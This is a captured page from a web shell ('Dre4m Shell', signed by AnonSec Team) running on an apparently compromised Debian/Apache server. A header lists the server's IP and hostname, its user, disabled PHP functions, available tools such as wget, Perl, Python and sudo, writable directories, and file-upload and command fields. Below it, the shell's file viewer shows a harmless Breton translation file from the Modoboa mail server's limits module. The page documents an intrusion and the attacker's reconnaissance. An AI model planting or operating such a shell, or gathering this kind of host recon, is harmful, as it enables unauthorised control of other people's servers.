Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.19.255.255
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib/python3.5/site-packages/modoboa/limits/locale/br/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib/python3.5/site-packages/modoboa/limits/locale/br/LC_MESSAGES/django.po
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
#
# Translators:
# Irriep Nala Novram <allannkorh@yahoo.fr>, 2019
msgid ""
msgstr ""
"Project-Id-Version: Modoboa\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2020-05-06 13:15+0200\n"
"PO-Revision-Date: 2019-03-11 10:20+0000\n"
"Last-Translator: Irriep Nala Novram <allannkorh@yahoo.fr>\n"
"Language-Team: Breton (http://www.transifex.com/tonio/modoboa/language/br/)\n"
"Language: br\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=5; plural=((n%10 == 1) && (n%100 != 11) && (n%100 !"
"=71) && (n%100 !=91) ? 0 :(n%10 == 2) && (n%100 != 12) && (n%100 !=72) && (n"
"%100 !=92) ? 1 :(n%10 ==3 || n%10==4 || n%10==9) && (n%100 < 10 || n% 100 > "
"19) && (n%100 < 70 || n%100 > 79) && (n%100 < 90 || n%100 > 99) ? 2 :(n != 0 "
"&& n % 1000000 == 0) ? 3 : 4);\n"

#: limits/app_settings.py:15
msgid "Default per-admin limits"
msgstr "Bevennoù dre-ziouer dre-verour"

#: limits/app_settings.py:18
msgid "Enable per-admin limits"
msgstr "Enaouiñ bevennoù diouer dre-verour"

#: limits/app_settings.py:20
msgid "Enable or disable per-admin limits"
msgstr "Enaouiñ pe lazhañ ar bevennoù dre-verour"

#: limits/app_settings.py:24 limits/app_settings.py:95 limits/constants.py:24
#: limits/constants.py:54
msgid "Domain admins"
msgstr "Merourien domani"

#: limits/app_settings.py:27
msgid ""
"Maximum number of allowed domain administrators for a new administrator. (0 "
"to deny any creation, -1 to allow unlimited creations)"
msgstr ""
"Niver brasañ a verourien zomani aotreet evit ur merour nevez anezhañ. (0 "
"evit berzañ kement krouidigezh, -1 evit aotren ar c'hrouidigezhioù divevenn)"

#: limits/app_settings.py:35 limits/constants.py:9
msgid "Domains"
msgstr "Domanioù"

#: limits/app_settings.py:38
msgid ""
"Maximum number of allowed domains for a new administrator. (0 to deny any "
"creation, -1 to allow unlimited creations)"
msgstr ""
"Niver brasañ a zomanioù aotreet evit ur merour nevez anezhañ. (0 evit berzañ "
"kement krouidigezh, -1 evit aotren ar c'hrouidigezhioù divevenn)"

#: limits/app_settings.py:45 limits/app_settings.py:106 limits/constants.py:13
#: limits/constants.py:41
msgid "Domain aliases"
msgstr "Aliasoù domani"

#: limits/app_settings.py:48
msgid ""
"Maximum number of allowed domain aliases for a new administrator. (0 to deny "
"any creation, -1 to allow unlimited creations)"
msgstr ""
"Niver brasañ a aliasoù domani aotreet evit ur merour nevez anezhañ. (0 evit "
"berzañ kement krouidigezh, -1 evit aotren ar c'hrouidigezhioù divevenn)"

#: limits/app_settings.py:56 limits/app_settings.py:117 limits/constants.py:17
#: limits/constants.py:45
msgid "Mailboxes"
msgstr "Boest-posteloù"

#: limits/app_settings.py:59
msgid ""
"Maximum number of allowed mailboxes for a new administrator. (0 to deny any "
"creation, -1 to allow unlimited creations)"
msgstr ""
"Niver brasañ a voestoù-postel aotreet evit ur merour nevez anezhañ. (0 evit "
"berzañ kement krouidigezh, -1 evit aotren ar c'hrouidigezhioù divevenn)"

#: limits/app_settings.py:66 limits/app_settings.py:127 limits/constants.py:20
#: limits/constants.py:48
msgid "Mailbox aliases"
msgstr "Aliasoù boes-postel"

#: limits/app_settings.py:69
msgid ""
"Maximum number of allowed aliases for a new administrator. (0 to deny any "
"creation, -1 to allow unlimited creations)"
msgstr ""
"Niver brasañ a aliasoù aotreet evit ur merour nevez anezhañ. (0 evit berzañ "
"kement krouidigezh, -1 evit aotren ar c'hrouidigezhioù divevenn)"

#: limits/app_settings.py:76 limits/constants.py:30
msgid "Quota"
msgstr "Kota"

#: limits/app_settings.py:79
msgid ""
"The quota a reseller will be allowed to share between the domains he "
"creates. (0 means no quota)"
msgstr ""
"Kota un eilgwerzher a vo aotreet da rannañ kenetre an domanioù krouet "
"gantañ. (0 a dalvez tamm kota ebet)"

#: limits/app_settings.py:86
msgid "Default per-domain limits"
msgstr "Bevennoù dre-zomani dre-ziouer"

#: limits/app_settings.py:89
msgid "Enable per-domain limits"
msgstr "Enaouiñ ar bevennoù dre-zomani"

#: limits/app_settings.py:91
msgid "Enable or disable per-domain limits"
msgstr "Enaouiñ pe lazhañ ar bevennoù dre-zomani"

#: limits/app_settings.py:98
msgid ""
"Maximum number of allowed domain administrators for a new domain. (0 to deny "
"any creation, -1 to allow unlimited creations)"
msgstr ""
"Niver brasañ a verourien zomani aotreet evit un domani nevez (0 evit berzañ "
"kement krouidigezh, -1 evit aotren ar c'hrouidigezhioù divevenn)"

#: limits/app_settings.py:109
msgid ""
"Maximum number of allowed domain aliases for a new domain. (0 to deny any "
"creation, -1 to allow unlimited creations)"
msgstr ""
"Niver brasañ a aliasoù domani aotreet evit un domani nevez anezhañ. (0 evit "
"berzañ kement krouidigezh, -1 evit aotren ar c'hrouidigezhioù divevenn)"

#: limits/app_settings.py:120
msgid ""
"Maximum number of allowed mailboxes for a new domain. (0 to deny any "
"creation, -1 to allow unlimited creations)"
msgstr ""
"Niver brasañ a voestoù-postel aotreet evit un domani nevez anezhañ. (0 evit "
"berzañ kement krouidigezh, -1 evit aotren ar c'hrouidigezhioù divevenn)"

#: limits/app_settings.py:130
msgid ""
"Maximum number of allowed aliases for a new domain. (0 to deny any creation, "
"-1 to allow unlimited creations)"
msgstr ""
"Niver brasañ a aliasoù aotreet evit un domani nevez anezhañ. (0 evit berzañ "
"kement krouidigezh, -1 evit aotren ar c'hrouidigezhioù divevenn)"

#: limits/apps.py:12
msgid "Limits"
msgstr "Bevennoù"

#: limits/constants.py:10
msgid "Maximum number of domains this user can create"
msgstr "Niver brasañ a zomanioù a c'hall bezañ krouet gant an implijer-mañ"

#: limits/constants.py:14
msgid "Maximum number of domain aliases this user can create"
msgstr ""
"Niver brasañ a aliasoù domanioù a c'hall bezañ krouet gant an implijer-mañ"

#: limits/constants.py:18
msgid "Maximum number of mailboxes this user can create"
msgstr ""
"Niver brasañ a voestoù-postel a c'hall bezañ krouet gant an implijer-mañ"

#: limits/constants.py:21
msgid "Maximum number of mailbox aliases this user can create"
msgstr ""
"Niver brasañ a aliasoù boest-postel a c'hall bezañ krouet gant an implijer-"
"mañ"

#: limits/constants.py:25
msgid "Maximum number of domain administrators this user can create"
msgstr ""
"Niver brasañ a verourien domani a c'hall bezañ krouet gant an implijer-mañ"

#: limits/constants.py:31
msgid "Quota shared between domains of this reseller"
msgstr "Kota rannet kenetre domanioù an eilgwerzher-mañ"

#: limits/constants.py:42
msgid "Maximum number of domain aliases allowed for this domain."
msgstr "Niver brasañ a aliasoù domani aotreet evit an domani-mañ."

#: limits/constants.py:46
msgid "Maximum number of mailboxes allowed for this domain."
msgstr "Niver brasañ a voestoù-postel aotreet evit an domani-mañ."

#: limits/constants.py:50
msgid "Maximum number of mailbox aliases allowed for this domain."
msgstr "Niver brasañ a aliasoù aotreet evit an domani-mañ."

#: limits/constants.py:55
msgid "Maximum number of domain admins allowed for this domain."
msgstr "Niver brasañ a verourien zomani aotreet evit an domani-mañ."

#: limits/forms.py:38 limits/forms.py:87
msgid "Invalid limit"
msgstr "Bevenn fall"

#: limits/handlers.py:117 limits/handlers.py:153
msgid "Resources"
msgstr "Mammennoù"

#: limits/lib.py:19
#, python-format
msgid "%s: limit reached"
msgstr "%s: bevenn tizhet"

#: limits/lib.py:29
msgid "Not enough resources"
msgstr "Ket trawalc'h a vammennoù"

#: limits/lib.py:47 limits/models.py:48
msgid "You're not allowed to define unlimited values"
msgstr "N'hoc'h ket aotreet da dermeniñ talvoudegezhioù divevenn"

#: limits/models.py:58 limits/models.py:123
msgid "unlimited"
msgstr "divevennet"

#: limits/templates/limits/poolusage.html:3
#: limits/templates/limits/resources_widget.html:5
msgid "Resources usage"
msgstr "Implij mammennoù"

Anon7 - 2022
AnonSec Team